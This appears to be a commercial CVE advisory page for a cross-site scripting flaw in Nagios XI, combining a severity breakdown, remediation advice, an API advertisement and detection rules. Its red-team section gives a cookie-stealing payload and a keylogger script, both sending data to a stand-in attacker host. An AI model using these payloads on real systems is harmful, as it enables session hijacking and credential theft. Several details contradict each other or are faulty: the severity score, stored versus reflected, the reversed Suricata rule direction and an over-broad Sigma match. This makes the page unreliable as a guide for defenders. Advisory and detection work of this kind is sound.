☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2021-47697

CVE-2021-47697 Cross-Site Scripting in Nagios
📅 PUBLISHED: 2025-10-30 21:57 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-47697 is a stored cross-site scripting (XSS) vulnerability in Nagios XI, a widely used IT infrastructure monitoring platform. The flaw exists in the Views feature's URL handling, where insufficient validation and escaping of user-supplied input allows an attacker to inject arbitrary JavaScript code. This code executes in the context of a victim's browser when they access a crafted URL or view a maliciously configured dashboard. The vulnerability affects all Nagios XI versions prior to 5.8.0. While the CVSS score is low (3.1) due to the requirement for user interaction, the impact is significant in environments where administrators or operators with elevated privileges are targeted, potentially leading to session hijacking, credential theft, or further lateral movement within the monitoring infrastructure.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the Nagios XI web application. The risk is mitigated by upgrading to the patched version 5.8.0.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 3.1 (Low)
  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need authentication.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or view a malicious view.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited information disclosure is possible.
  • Integrity (I): Low (L) – Limited modification of data is possible.
  • Availability (A): None (N) – No impact on system availability.

Threat Level: Low (CVSS 3.1). However, in a targeted attack against Nagios administrators, the risk is elevated due to the potential for credential theft and lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the "Views" feature of Nagios XI, which allows users to create custom dashboards and views of monitoring data. The flaw is in how the application handles URLs when constructing or rendering these views. Specifically, user-supplied input (e.g., view names, parameters, or filter criteria) is not properly sanitized or escaped before being included in the HTML output.

An attacker can craft a malicious URL containing JavaScript code. When a victim (typically an administrator) clicks this URL or accesses a view that includes the malicious input, the script executes in the victim's browser. This is a classic stored XSS vulnerability, as the malicious payload can be persisted in the view configuration.

The attack flow:

  1. Attacker crafts a URL like: http://target/nagiosxi/views/?view=malicious<script>alert(1)</script>
  2. Victim clicks the link or the attacker tricks the victim into adding a view with malicious content.
  3. The browser renders the page, executing the injected script.
  4. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-5.8.0): The vulnerable code likely uses a function that directly outputs user input without escaping. For example, in PHP:

echo "<a href='views.php?view=" . $_GET['view'] . "'>View</a>";

This directly concatenates the view parameter into the HTML without any sanitization.

Patched Code (5.8.0+): The patched version uses proper output escaping, such as htmlspecialchars() or a templating engine that auto-escapes:

echo "<a href='views.php?view=" . htmlspecialchars($_GET['view'], ENT_QUOTES, 'UTF-8') . "'>View</a>";

This ensures that any HTML or JavaScript in the input is encoded, preventing execution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install Nagios XI version 5.7.0 (or any pre-5.8.0 version) on a virtual machine.
  2. Ensure the web interface is accessible from the attacker's machine.

Exploitation Steps:

  1. Craft a malicious URL:
    http://target/nagiosxi/views/?view=<script>new Image().src='http://attacker/steal.php?cookie='+document.cookie</script>
    
  2. Send this URL to a victim (e.g., via email or social engineering).
  3. When the victim clicks the link, the script executes and sends their session cookie to the attacker's server.
  4. The attacker can then use the stolen cookie to hijack the session.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker/log.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing <script> tags or suspicious characters in the view parameter.
  • Use a Web Application Firewall (WAF) to block requests with XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Immediately upgrade to Nagios XI 5.8.0 or later.
  • If upgrade is not possible, apply a virtual patch using a WAF to filter XSS payloads.
  • Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /nagiosxi/views/ with view parameter containing <script>, onerror, onload, or other XSS vectors.
    • Outbound connections from the Nagios server to unknown IPs (e.g., attacker's server) on ports 80/443.
  • Host IOCs:
    • Unusual entries in web server logs (e.g., Apache access.log) with encoded or raw XSS payloads.
    • Modified view configurations in the Nagios XI database (e.g., nagiosxi_views table) containing JavaScript.
  • File IOCs:
    • Temporary files in /tmp/ or web root with suspicious content (if file upload is involved).

Detection Engineering

YARA Rule

rule CVE_2021_47697_XSS_NagiosXI {
    meta:
        description = "Detects XSS payloads targeting Nagios XI Views feature"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47697"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Nagios XI Views XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in Nagios XI Views feature
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/nagiosxi/views/'
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in view names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-47697 Nagios XI Views XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/nagiosxi/views/"; http_uri;
    content:"<script"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Nagios XI to version 5.8.0 or later. This is the only complete fix.
  2. Virtual Patching: If upgrade is delayed, deploy a WAF rule to block requests containing <script>, onerror, onload, or javascript: in the view parameter.
  3. Input Validation: Ensure all user inputs are validated and sanitized on the server side.

Long-Term Measures:

  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Conduct regular security audits and penetration testing.
  • Train administrators on phishing and social engineering risks.

Workarounds:

  • Disable the Views feature if not in use (not recommended for production).
  • Restrict access to the Nagios XI web interface to trusted IPs only.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-47697/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.